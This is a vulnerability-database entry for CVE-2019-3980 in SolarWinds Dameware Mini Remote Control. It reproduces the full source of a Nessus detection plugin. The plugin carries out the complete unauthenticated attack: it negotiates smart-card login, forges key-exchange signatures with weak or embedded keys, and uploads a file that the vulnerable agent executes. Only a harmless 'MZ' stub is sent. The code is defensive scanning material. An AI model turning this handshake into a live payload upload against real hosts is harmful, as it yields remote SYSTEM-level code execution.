Vulnerabilities > CVE-2019-3980 - Improper Input Validation vulnerability in Solarwinds Dameware Mini Remote Control 12.1.0.89

047910
CVSS 10.0 - CRITICAL
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
COMPLETE
Integrity impact
COMPLETE
Availability impact
COMPLETE
network
low complexity
solarwinds
CWE-20
critical
nessus
NVD
Published: 2019-10-08
Updated: 2021-07-21

Summary

The Solarwinds Dameware Mini Remote Client agent v12.1.0.89 supports smart card authentication which can allow a user to upload an executable to be executed on the DWRCS.exe host. An unauthenticated, remote attacker can request smart card login and upload and execute an arbitrary executable run under the Local System account.

Vulnerable Configurations

Part Description Count
Application
Solarwinds
1

Common Weakness Enumeration (CWE)

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Buffer Overflow via Environment Variables
    This attack pattern involves causing a buffer overflow through manipulation of environment variables. Once the attacker finds that they can modify an environment variable, they may try to overflow associated buffers. This attack leverages implicit trust often placed in environment variables.
  • Server Side Include (SSI) Injection
    An attacker can use Server Side Include (SSI) Injection to send code to a web application that then gets executed by the web server. Doing so enables the attacker to achieve similar results to Cross Site Scripting, viz., arbitrary code execution and information disclosure, albeit on a more limited scale, since the SSI directives are nowhere near as powerful as a full-fledged scripting language. Nonetheless, the attacker can conveniently gain access to sensitive files, such as password files, and execute shell commands.
  • Cross Zone Scripting
    An attacker is able to cause a victim to load content into their web-browser that bypasses security zone controls and gain access to increased privileges to execute scripting code or other web objects such as unsigned ActiveX controls or applets. This is a privilege elevation attack targeted at zone-based web-browser security. In a zone-based model, pages belong to one of a set of zones corresponding to the level of privilege assigned to that page. Pages in an untrusted zone would have a lesser level of access to the system and/or be restricted in the types of executable content it was allowed to invoke. In a cross-zone scripting attack, a page that should be assigned to a less privileged zone is granted the privileges of a more trusted zone. This can be accomplished by exploiting bugs in the browser, exploiting incorrect configuration in the zone controls, through a cross-site scripting attack that causes the attackers' content to be treated as coming from a more trusted page, or by leveraging some piece of system functionality that is accessible from both the trusted and less trusted zone. This attack differs from "Restful Privilege Escalation" in that the latter correlates to the inadequate securing of RESTful access methods (such as HTTP DELETE) on the server, while cross-zone scripting attacks the concept of security zones as implemented by a browser.
  • Cross Site Scripting through Log Files
    An attacker may leverage a system weakness where logs are susceptible to log injection to insert scripts into the system's logs. If these logs are later viewed by an administrator through a thin administrative interface and the log data is not properly HTML encoded before being written to the page, the attackers' scripts stored in the log will be executed in the administrative interface with potentially serious consequences. This attack pattern is really a combination of two other attack patterns: log injection and stored cross site scripting.
  • Command Line Execution through SQL Injection
    An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.

Nessus

NASL familyWindows
NASL idSOLARWINDS_DAMEWARE_MINI_REMOTE_CONTROL_CVE-2019-3980.NASL
descriptionThe SolarWinds Dameware Mini Remote Control Client Agent running on the remote host is affected by a remote code execution vulnerability due to improper validation of user-supplied data. An unauthenticated, remote attacker can exploit this, via a series of requests, to execute arbitrary code.
last seen2020-06-01
modified2020-06-02
plugin id130458
published2019-11-01
reporterThis script is Copyright (C) 2019 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/130458
titleSolarWinds Dameware Mini Remote Control Unauthenticated RCE
code
#
# (C) Tenable Network Security, Inc.
#
include("compat.inc");

if (description)
{
  script_id(130458);
  script_version("1.3");
  script_cvs_date("Date: 2019/12/18");

  script_cve_id("CVE-2019-3980");
  script_xref(name:"TRA", value:"TRA-2019-43");

  script_name(english:"SolarWinds Dameware Mini Remote Control Unauthenticated RCE");
  script_summary(english:"Checks server response");

  script_set_attribute(attribute:"synopsis", value:
"The remote host is running a remote control application that is
affected by a remote code execution vulnerability.");
  script_set_attribute(attribute:"description", value:
"The SolarWinds Dameware Mini Remote Control Client Agent running on
the remote host is affected by a remote code execution vulnerability
due to improper validation of user-supplied data. An unauthenticated,
remote attacker can exploit this, via a series of requests, to
execute arbitrary code.");
  # https://support.solarwinds.com/SuccessCenter/s/article/Dameware-Mini-Remote-Control-12-1-0-Hotfix-3-Release-Notes
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?fee92693");
  script_set_attribute(attribute:"solution", value:
"Upgrade to SolarWinds Dameware Mini Remote Control v12.1 Hotfix 3 or
later, and make sure the running client agent (DWRCS.exe) is
v12.1.0.96 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:U/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2019-3980");

  script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");

  script_set_attribute(attribute:"vuln_publication_date", value:"2019/10/08");
  script_set_attribute(attribute:"patch_publication_date", value:"2019/10/18");
  script_set_attribute(attribute:"plugin_publication_date", value:"2019/11/01");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:dameware:mini_remote_control");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"Windows");

  script_copyright(english:"This script is Copyright (C) 2019 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("find_service2.nasl");
  script_require_ports(6129, "Services/dameware");

  exit(0);
}

include('audit.inc');
include('global_settings.inc');
include('misc_func.inc');
include('byte_func.inc');
include('string.inc');
include('kerberos_func.inc');

##
#
# Read a block of data
#
# @param socket socket to read data from
#
# @return a block of data or NULL on error.
#
##
function _recv_blk(socket)
{
  local_var data, size;

  # Read 0xc-byte msg header
  data = recv(socket:socket, length:0xc, min:0xc);

  if(strlen(data) != 0xc) return NULL;

  # Get msg body size
  size = getdword(blob:data, pos:8);

  # Body size should not be too big
  if (size > 0x100000) return NULL;

  # Get msg body
  data += recv(socket:socket, length:size);

  return data;
}

port = get_service(svc:'dameware', default:6129, exit_on_fail:TRUE);

soc = open_sock_tcp(port);
if (! soc) audit(AUDIT_SOCK_FAIL, port);

set_byte_order(BYTE_ORDER_LITTLE_ENDIAN);

#
# On connection, server sends MSG_TYPE_VERSION (0x00001130)
#
res = recv(socket:soc, length:0x28, min:0x28);
if(strlen(res) < 0x28 || getdword(blob:res, pos:0) != 0x0001130)
{
  close(soc);
  exit(1, 'Failed to receive the MSG_TYPE_VERSION message from server on port ' + port + '.');
}

#
# Client sends MSG_TYPE_VERSION (0x00001130)
# requesting smart card authentication
#
req = mkdword(0x1130)
  + '\x00\x00\x00\x00'
  + '\x00\x00\x00\x00\x00\x00\x28\x40'  # ProtocolMajorVersion (12)
  + '\x00\x00\x00\x00\x00\x00\x00\x00'  # ProtocolMinorVersion (0)
  + mkdword(4)
  + mkdword(0)
  + mkdword(0)
  # AuthType:
  #   0 - DW_REQUESTED_AUTHENTICATION_TYPE_BASIC (dwrcs user/pwd)
  #   1 - DW_REQUESTED_AUTHENTICATION_TYPE_NTCR (NTLMSSP)
  #   2 - DW_REQUESTED_AUTHENTICATION_TYPE_ENCRYPTED (encrypted OS creds)
  #   3 - DW_REQUESTED_AUTHENTICATION_TYPE_SMARTCARD
  + mkdword(3);
send(socket:soc, data:req);

#
# Server sends MSG_TYPE_CLIENT_INFORMATION_V7 (0x00011171)
#
res = recv(socket:soc, length:0x3af8, min:0x3af8,timeout:10);
if(strlen(res) < 0x3af8 || getdword(blob:res, pos:0) != 0x00011171)
{
  close(soc);
  exit(1, 'Failed to receive the MSG_TYPE_CLIENT_INFORMATION_V7 message from server on port ' + port + '.');
}

# Client sends MSG_TYPE_CLIENT_INFORMATION_V7 (0x00011171)
# Should be able to use the one sent by the server
send(socket:soc, data:res);

#
# Server sends MSG_TYPE_RSA_CRYPTO_C_INIT (0x000105b8)
#
msg_len = 0x1220;
res = recv(socket:soc, length:msg_len, min:msg_len, timeout:10);
if(strlen(res) < msg_len || getdword(blob:res, pos:0) != 0x000105b8)
{
  close(soc);
  exit(1, 'Failed to receive the MSG_TYPE_RSA_CRYPTO_C_INIT message from server on port ' + port + '.');
}

#
# Client sends MSG_TYPE_RSA_CRYPTO_C_INIT (0x000105b8)
# Should be able to use the one sent by the server
send(socket:soc, data:res);

#
# Server sends Msg 0x000105b9
#
msg_len = 0x2c2c;
res = recv(socket:soc, length:msg_len, min:msg_len, timeout:10);
if(strlen(res) < msg_len || getdword(blob:res, pos:0) != 0x000105b9)
{
  close(soc);
  exit(1, 'Failed to receive a message 0x000105b9 from server on port ' + port + '.');
}

# Get Server public key
pkey_len = getdword(blob:res, pos: 0x140c);
if(pkey_len != 0x10 && pkey_len != 0x2b)
{
  close(soc);
  exit(1, 'Unexpected server public key size ' + pkey_len + ' in a key exchange message from server on port ' + port + '.');
}
srv_pubkey = substr(res, 0x100c, 0x100c + pkey_len -1);

# DH (load dwrcrss.dll)
if(pkey_len == 0x10)
{
  dh_prime = raw_string(
  0xF5, 0x1F, 0xFB, 0x3C, 0x62, 0x91, 0x86, 0x5E,
  0xCD, 0xA4, 0x9C, 0x30, 0x71, 0x2D, 0xB0, 0x7B
  );

  dh_gen = raw_string(3);
  clt_privkey = rand_str(length:16);
  # g^x mod p
  clt_pubkey  = bn_mod_exp(dh_gen, clt_privkey, dh_prime);
  shared_secret = bn_mod_exp(srv_pubkey, clt_privkey, dh_prime);

  # Sign the DH shared secret with SHA512withRSA
  n = raw_string(
    0x00,0xad,0x8c,0x81,0x7b,0xc7,0x0b,0xca,0xf7,0x50,0xbb,0xd3,0xa0,0x7d,0xc0,
    0xa4,0x31,0xe3,0xdd,0x28,0xce,0x99,0x78,0x05,0x92,0x94,0x41,0x03,0x85,0xf5,
    0xf0,0x24,0x77,0x9b,0xb1,0xa6,0x1b,0xc7,0x9a,0x79,0x4d,0x69,0xae,0xcb,0xc1,
    0x5a,0x88,0xb6,0x62,0x9f,0x93,0xf5,0x4b,0xca,0x86,0x6c,0x23,0xae,0x4f,0x43,
    0xac,0x81,0x7c,0xd9,0x81,0x7e,0x30,0xb4,0xcc,0x78,0x6b,0x77,0xd0,0xbb,0x20,
    0x1c,0x35,0xbe,0x4d,0x12,0x44,0x4a,0x63,0x14,0xec,0xfc,0x9a,0x86,0xa2,0x4f,
    0x98,0xb9,0xb5,0x49,0x5f,0x6c,0x37,0x08,0xc0,0x1d,0xd6,0x33,0x67,0x97,0x7c,
    0x0d,0x36,0x62,0x70,0x25,0xd8,0xd4,0xe8,0x44,0x61,0x59,0xe3,0x61,0xca,0xb8,
    0x9e,0x14,0x14,0xaa,0x2f,0xcb,0x89,0x10,0x1b
  );

  d = raw_string(
    0x00,0xa1,0x60,0xcf,0x22,0xd7,0x33,0x3b,0x18,0x00,0x85,0xb7,0xc3,0x3c,0x4c,
    0x3f,0x22,0x79,0x3d,0xb4,0xed,0x70,0x3d,0xf0,0x08,0x9e,0x3d,0x5a,0x56,0x5e,
    0x1c,0x60,0xfc,0xab,0xd5,0x64,0x9d,0xde,0x5c,0xe1,0x41,0x3f,0xed,0x9f,0x60,
    0x7b,0x9c,0x36,0xe4,0xbc,0x78,0xec,0x16,0xff,0x0b,0x42,0x51,0x67,0x8c,0x23,
    0x64,0xac,0xbf,0xf8,0xcb,0xed,0xe8,0x46,0x66,0x40,0x8f,0x70,0x46,0x10,0x9c,
    0x63,0x07,0x74,0x33,0x64,0x26,0x25,0xa6,0x34,0x43,0x8f,0x95,0xa9,0x70,0xd1,
    0x40,0x69,0x0b,0xf8,0xc8,0x62,0x5f,0x8d,0xe8,0x8f,0xc4,0x46,0xbf,0x09,0xab,
    0x83,0x68,0xfe,0x5f,0x2d,0x2d,0x3b,0xd9,0xf5,0xd5,0x32,0x34,0xbc,0x37,0x17,
    0xcb,0x13,0x50,0x96,0x6e,0x26,0x82,0xc2,0x39
  );

  e = raw_string(0x01, 0x00, 0x01);
  hash = SHA512(shared_secret);

  # OID for SHA512
  oid = '2.16.840.1.101.3.4.2.3';
  oid = der_encode_oid(oid:oid);

  # Hash OID with NULL parameters
  hash_id = der_encode(tag:0x30, data:oid + '\x05\x00');
  hash = der_encode(tag:0x4, data: hash);
  data = der_encode(tag:0x30, data:hash_id + hash);

  # Signature to be send to the server
  sig = rsa_private_encrypt(data:data, d:d, n:n, e:e);

  # The RSA public key to be sent to the server so that it can verify
  # the signature.
  ne = der_encode(tag:2, data:n) + der_encode(tag:2, data:e);
  pubkey = der_encode(tag:0x30, data:ne);
}
# ECDH (load dwrcrsa.dll)
else
{
  # dwrcrsa.dll uses a custom/unamed EC curve defined as follows:
  p = raw_string(
    0x06, 0xaa, 0xfb, 0xfb, 0x70, 0x6b, 0xc9, 0x37,
    0xab, 0x4d, 0x86, 0x11, 0xb2, 0x39, 0x5f, 0x67,
    0x56, 0x6b, 0xd9, 0x8a, 0x6d
  );

  a = raw_string(
    0x06, 0xaa, 0xfb, 0xfb, 0x70, 0x6b, 0xc9, 0x37,
    0xab, 0x4d, 0x86, 0x11, 0xb2, 0x39, 0x5f, 0x67,
    0x56, 0x6b, 0xd9, 0x8a, 0x6a
  );

  b = raw_string(
    0x0c, 0x6e, 0x5c, 0xa4, 0x9c, 0x46, 0x9d, 0xcd,
    0xd2, 0x58, 0x42, 0xbd, 0xe3, 0x19, 0xb2, 0xfb,
    0xff, 0xe3, 0x42, 0xe5
  );

  gx = raw_string(
    0x02, 0x25, 0x81, 0x11, 0x63, 0x60, 0x05, 0x22,
    0x5f, 0x5a, 0x3d, 0x4d, 0xa6, 0x71, 0x6b, 0x36,
    0xd3, 0xbb, 0x14, 0xf9, 0xd1
  );

  g = raw_string(0x04) + gx +
      # gy
      raw_string(
        0x03, 0x5c, 0x13, 0x77, 0x6b, 0x8a, 0x3b, 0xc9,
        0xb1, 0x65, 0x40, 0x4f, 0xbb, 0x72, 0xe0, 0x64,
        0xe4, 0x8e, 0xc3, 0xc4, 0x2f
      );

  n = raw_string(
    0x6a, 0xaf, 0xbf, 0xb7, 0x06, 0xbc, 0x93, 0x7a,
    0xb4, 0xd8, 0x50, 0xb1, 0xb0, 0x97, 0xc5, 0x31,
    0x69, 0x16, 0xc6, 0xd1
  );

  h = raw_string(0x10);

  # Use d = 1, so the public key is just g
  clt_pubkey = g;

  # Because we use d = 1, the shared secret is just
  # the x coordinate of the server public key
  shared_secret = substr(srv_pubkey, 1, 0x15);

  #
  # Sign the ECDH shared secret with SHA1withECDSA
  #
  # Use the same curve for ECDSA
  # Use k = 1, d = 1
  hash = SHA1(shared_secret);

  r = bn_mod(gx, n);
  s = bn_mod_add(hash,r,n);

  # Pad if needed
  if(strlen(r) < strlen(n))
    r = crap(data:'\x00', length: strlen(n) - strlen(r)) + r;

  if(strlen(s) < strlen(n))
    s = crap(data:'\x00', length: strlen(n) - strlen(s)) + s;

  # The signature to be sent to the server
  sig = der_encode(tag:2, data:r) + der_encode(tag:2, data:s);
  sig = der_encode(tag:0x30, data:sig);

  # The EC public key to be sent to the server so that it can verify
  # the signature.
  #
  # RFC 3279, ECParameters ::= SEQUENCE
  ver = der_encode(tag:2, data:'\x01');
  oid = '1.2.840.10045.1.1'; # id-prime-Field
  oid = der_encode_oid(oid:oid);
  field = oid + der_encode(tag:2,data:p);
  field = der_encode(tag:0x30, data:field);
  curve = der_encode(tag:4, data:a) + der_encode(tag:4, data:b);
  curve = der_encode(tag:0x30, data:curve);
  base = der_encode(tag:4, data:g);
  order = der_encode(tag:2, data:n);
  cofactor = der_encode(tag:2, data:h);
  params = ver + field + curve + base + order + cofactor;
  params = der_encode(tag:0x30, data:params);

  # RFC 5280, SubjectPublicKeyInfo ::= SEQUENCE
  oid = '1.2.840.10045.2.1'; # id-ecPublicKey
  oid = der_encode_oid(oid:oid);
  alg = der_encode(tag:0x30, data: oid + params);

  # Because d = 1, the public key is just g
  pubkey = der_encode(tag:3, data:'\x00' + g);
  pubkey = der_encode(tag:0x30, data:alg + pubkey);
}

# Compute shared secret addsum
clt_addsum = 0;
for (i = 0; i < strlen(shared_secret); i++)
  clt_addsum += ord(shared_secret[i]);

#
# Client sends Msg 0x000105b9
#
req = mkdword(0x000105b9);

# Server public key at offset 0x100c, up to 0x400 bytes
req += crap(data:'\x00', length:0x100c - strlen(req));
req += rpad(srv_pubkey, 0x400, char:'\x00');

# Length of server public key
req += mkdword(strlen(srv_pubkey));
# Client public key at offset 0x1418, up to 0x400 bytes
req += crap(data:'\x00', length:0x1418 - strlen(req));
clt_privkey = rand_str(length:16);
# Write client public key
req += rpad(clt_pubkey, 0x400, char:'\x00');
# Write client public key length
req += mkdword(strlen(clt_pubkey));
# Pad to msg_len
req += crap(data:'\x00', length: msg_len - strlen(req));
send(socket:soc, data:req);

#
# Server sends another msg 0x000105b9.
#
# This msg includes the length and addsum of the shared secret
#
res = recv(socket:soc, length:msg_len, min:msg_len, timeout:10);
if(strlen(res) < msg_len || getdword(blob:res, pos:0) != 0x000105b9)
{
  close(soc);
  exit(1, 'Failed to receive the second message 0x000105b9 from server on port ' + port + '.');
}

# Server-computed addsum of the shared secret
srv_addsum = getdword(blob:res, pos: 0x181c + 4);
if(srv_addsum != clt_addsum)
{
  close(soc);
  exit(1, "Client-computed DH/ECDH shared secret not matched with server's.");
}

#
# Client sends another msg 0x000105b9
#
req = mkdword(0x000105b9);
# Server public key at offset 0x100c, up to 0x400 bytes
req += crap(data:'\x00', length:0x100c - strlen(req));
req += rpad(srv_pubkey, 0x400, char:'\x00');
# Length of server public key
req += mkdword(strlen(srv_pubkey));
# Length of client-computed shared secret
req += mkdword(strlen(shared_secret));
# Addsum of client-computed shared secret
req += mkdword(clt_addsum);
# Client public key offset 0x1418, up to 0x400 bytes
req += rpad(clt_pubkey, 0x400, char:'\x00');
# Length of client public key
req += mkdword(strlen(clt_pubkey));
# Length of server-computed shared secret
req += mkdword(strlen(shared_secret));
# Addsum of server-computed shared secret
req += mkdword(srv_addsum);
# Signature at offset 0x1824, up to 0x800 bytes
req += rpad(sig, 0x800, char:'\x00');
# Length of the signature
req += mkdword(strlen(sig));
# Public key used to verify the signature
req += rpad(pubkey, 0x800, char:'\x00');
# Length of the public key
req += mkdword(strlen(pubkey));
# Pad to msg_len
req += crap(data:'\x00', length: msg_len - strlen(req));
send(socket:soc, data:req);

#
# If the server is able to verify the signature it sends a
# MSG_REGISTRATION_INFORMATION (0x0000b004).
#
# If the server is unable to verify the signature it closes the
# connection.
#
msg_len = 0xc50;
res = recv(socket:soc, length:msg_len, min:msg_len, timeout:10);
if(strlen(res) < msg_len || getdword(blob:res, pos:0) != 0x0000b004)
{
  close(soc);
  exit(1, 'Failed to receive a MSG_REGISTRATION_INFORMATION from server on port ' + port + '.');
}

# Client sends a MSG_REGISTRATION_INFORMATION
# Should be able to use the one sent by the server
send(socket:soc, data:res);

#
# Server sends a MSG_SOCKET_ADD (0x00010626)
#
msg_len = 0x224;
res = recv(socket:soc, length:msg_len, min:msg_len, timeout:10);
if(strlen(res) < msg_len || getdword(blob:res, pos:0) != 0x00010626)
{
  close(soc);
  exit(1, 'Failed to receive a MSG_SOCKET_ADD from server on port ' + port + '.');
}

#
# Server sends a msg 0x0000d6e2
#
msg_len = 0x1438;
res = recv(socket:soc, length:msg_len, min:msg_len, timeout:10);
if(strlen(res) < msg_len || getdword(blob:res, pos:0) != 0x0000d6e2)
{
  close(soc);
  exit(1, 'Failed to receive a message 0x0000d6e2 from server on port ' + port + '.');
}


#
# Client sends a msg 0x0000d6e2
# Should be able to use the one sent by the server
#
send(socket:soc, data:res);


#
# Server sends msg 0x0000d6f6 2 times
# This msg is variable length.
#
for(i = 0; i < 2; i++)
{
  res = _recv_blk(socket:soc);
  if(strlen(res) < 12 || getdword(blob:res, pos:0) != 0x0000d6f6)
  {
    close(soc);
    exit(1, 'Failed to receive a message 0x0000d6f6 from server on port ' + port + '.');
  }
}

#
# Now we are in the right state to send our dwDrvInst.exe.
#
data = 'MZ'; # Content saved as dwDrvInst.exe in
             # C:\Windows\Temp.
             # The exe is passed to CreateProcess().
req =  mkdword(0xd6f6);
req += mkdword(2);
req += mkdword(strlen(data));
req += data;
send(socket:soc, data:req);

# Long timeout: server can be slow to respond
res = recv(socket:soc, length:0x1438,timeout:30);
sock_err = socket_get_error(soc);
close(soc);

#
# Patched dwrcs.exe signature checks the file we sent. The check
# would fail and the server will close the connection.
#
if(isnull(res) && sock_err == ECONNRESET)
    audit(AUDIT_HOST_NOT, 'affected');
#
# Vulnerable dwrcs.exe attempted to execute the file we sent. Because
# we specified a file that is not executable, the server sends back
# a 0x0000D6EC msg.
#
else if(strlen(res) > 4 && getdword(blob:res, pos:0) == 0x0000d6ec)
  security_report_v4(port: port,severity: SECURITY_HOLE);
else
  audit(AUDIT_RESP_BAD, port);

References